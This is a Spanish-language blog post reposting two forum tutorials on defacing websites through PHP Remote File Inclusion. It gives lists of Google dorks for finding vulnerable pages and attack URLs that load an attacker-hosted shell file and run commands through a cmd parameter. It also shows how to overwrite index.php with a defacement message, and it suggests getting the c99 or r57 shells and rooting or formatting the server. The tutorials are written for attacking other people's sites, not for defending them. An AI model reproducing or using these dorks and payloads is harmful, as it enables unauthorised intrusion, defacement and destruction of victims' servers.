Tutorial DEFACEAR web con RFI mas informacion del blog

Buscando en la inet dorks para buscar vulnerabilidades rfi encontre un tuto muy bueno , igual todos en inet son lo mismo , es mas si yo escribiera uno seria lo mismo por eso pienso "Porque hacer algo que ya esta escrito" xD y por eso les traigo este articulo para que entiendan como identificar , buscar y explotar un rfi.

saludos y excelente comunidad muy recomendada

PD:

1. Este tuto fue escrito Por MainFox Para blackportal
2.Proximamente estare realizando un top de las mejores comunidades en cuanto a documentacion propia y proyectos , las catalogare por temas como : desfacing , hackin etico entre otros.
3.Los labs sigen esta semana a mas tardar el viernes termino nemesis y sigo con ettercap
4. las personas que mandaron correos para:
comunidad bad_robot y curso de informatica forense
Por favor volverlo hacer para seguir con el proyecto ya que tengo tiempo libre para empezarlo

Esten atentos para mas informacion
---------------------------------------------------------------------------------------------------

Este tuto lo hizo un colega amigo Dark_eye.

Hay les presento una forma sencilla de defacear una web con RFI.

Primero de nada, habrá que encontrar una, lo puede hacen con dorks de google, o escaneando las webs de un server que seguro que alguna tiene algo mal programado.

Una RFI, que por cierto se llama Remote File Inclusion, se trata de hacer que un script en ASP, PHP, JSP, etc... incluya un fichero externo al servidor. Este archivo incluido suele ser usualmente una Shell, es decir, un archivo que permite controlar el servidor donde se ejecuta.

Pasemos a la practica, los dorks para buscar en google suelen ser como:

allinurl:index.php?page= .php
allinurl: index.php?*=*
allinurl: noticias/index.php?category=
allinurl: index.php?noticias=*

O tambien puedes buscar rutas del estilo pagina.php?lokesea=

"includes/header.php?systempath="
"amboro/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path="
"index.inc.php?PATH_Includes="
"nphp/nphpd.php?nphp_config[LangFile]="
"include/db.php?GLOBALS[rootdp]="
"ashnews.php?pathtoashnews="
"ashheadlines.php?pathtoashnews="
"modules/xgallery/upgrade_album.php?GALLERY_BASEDIR="
"demo/includes/init.php?user_inc="
"jaf/index.php?show="
"inc/shows.inc.php?cutepath="
"poll/admin/common.inc.php?base_path="
"pollvote/pollvote.php?pollname="
"sources/post.php?fil_config="
"modules/My_eGallery/public/displayCategory.php?basepath="
"bb_lib/checkdb.inc.php?libpach="
"include/livre_include.php?no_connect=lol&chem_absolu="
"index.php?from_market=Y&pageurl="
"modules/mod_mainmenu.php?mosConfig_absolute_path="
"pivot/modules/module_db.php?pivot_path="

Bien al meter eso en google, devolverá una serie de paginas, bien para probar si son vulnerables, solo nos queda probarlas.
si la url de la web es http://xxxx.com/index.php?page=partners.php probaremos con
http://xxxx.com/index.php?page=http://google.es

y si la pagina de San Google aparece en alguna parte de la web, felicidades, es vulnerable.

Entonces nos bajamos alguna Shell como c99 o r57 y la subimos con la termiancion .txt a algun servidor publico.
Podemos conseguirla aqui: http://www.milw0rm.us/

luego accedemos a la url: http://xxxx.com/index.php?page=http://tuserver.com/tushell.txt

Entonces modificamos la pagina principal y ponemos algo como "Hacked bY tUnICK"

y tendremos nuestra shell ejecutada en el servidor, lo que viene ya queda a voluntad de cada uno, puedes ser un chico bueno y no tocar nada, o puedes formatear el server con un poco de suerte, rootearlo, pero bueno eso ya no entra en el tema...

Saludos

Fuente:http://bl4ck-p0rtal.mihost.info/foro/index.php?topic=740.0

Que es un ataque RFI(Remote File Inclusion)

Introduccion:

Esta vulneravilidad solo existe en Paginas programas en PHP, que te permite agregar enlaces a archivos remotos situados en otros servidores o paginas web, esta vulneravilidad es provocada por una mala programacion o un error al programar,En la cual Puedes entrar a muchos lados con los comandos.

La pagina puede ser vulnerable a ataques RFI si la url es masomenos similar a esta que tenemos aqui:

http://[servidor_victima]/index.php?.

Para obtener la shell de la web solo necesitamos este codigo:

http://[web o url de la web]/index.php?page=http://[web o servidor del atacante]/shell.txt&&cmd=ls.

Esa seria una web vulenerable.

Ejemplo:http//ww.rush.com/index.php?

Para poder hacer un ataque RFI tendremos que hacer esto:

http://www.rush.com/index.php?page=http://www.rushhack.com/shell.txt?&cmd=(comando)

Para saber si es vulnerable en el block de notas pegas esto



aora lo guardamos con el nombre de shell.txt y lo subomos a un servidore, de preferencia que no sea php para que no se ejecute en tu servidor.

Oora procedemos a usar esto:

http://www.rush.com/index.php?page=http://www.rushhack.com/shell.txt?&cmd=(aqui va el comando.)

y listo asi explotaran el comando.

Un ejemplo de una shell explotada:

http://www.rush.com/index.php?page=http://www.rushhack.com/shell.txt?&cmd=pwd

pwd—> nos muestra en que parte del servidor estamos por ejemplo:

Home/host/www

Una Shell para sobreescribir un archivo es:

/shell.txt?&cmd=Defaced By: rUsH >index.php.

Para ejecutar mas de un comando solo usen esto “;”

/shell.txt?&cmd=[coamando];[Comando];[Comando]

Solo prodran sobreescribir si tiene permiso, para saber en que tienes permiso para modificar usa este comando

/shell.txt?&cmd=ls -la —> y te mostrara los permisos con sus respectivos archivos

Para saber los datos de la DB usa este comando:

/shell.txt?&cmd=cd

Es todo.

By:rUsH